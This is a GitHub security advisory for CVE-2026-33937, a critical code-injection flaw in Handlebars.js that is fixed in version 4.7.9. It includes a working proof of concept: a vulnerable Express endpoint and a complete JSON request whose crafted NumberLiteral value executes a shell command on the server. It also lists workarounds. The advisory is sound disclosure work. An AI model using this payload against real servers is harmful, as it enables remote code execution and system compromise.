GitHub Advisoryadvisory · npm
GHSA-2w6w-674q-4c4q Handlebars.js has JavaScript Injection via AST Type Confusion
CRITICAL
Official page ↗
- Aliases
- CVE-2026-33937
- Ecosystem
- npm
- Packages
- handlebars
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-843, CWE-94
- Reviewed
- 2026-03-27
Affected packages
• npm handlebars: >= 4.0.0, < 4.7.9 → fixed in 4.7.9
Description
Summary
`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:
```javascript
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;
```
Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.
Any endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.
Proof of Concept
Server-side Express application that passes `req.body.text` to `Handlebars.compile()`:
```Javascript
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
let text = req.body.text;
let template = Handlebars.compile(text);
let result = template();
res.send(result);
});
app.listen(2123);
```
```
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123
{
"text": {
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
]
}
}
```
The response body will contain the output of the `id` command executed on the server.
Workarounds
• Validate input type before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value.
```javascript
if (typeof templateInput !== 'string') {
throw new TypeError('Template must be a string');
}
```
• Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.
Related
Alias · CVE (1)
- CVE-2026-33937 Handlebars provides the power necessary to let users build semantic templates. vulnerability
References
- https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q web
- https://nvd.nist.gov/vuln/detail/CVE-2026-33937 advisory
- https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2 web
- https://github.com/handlebars-lang/handlebars.js package
- https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9 web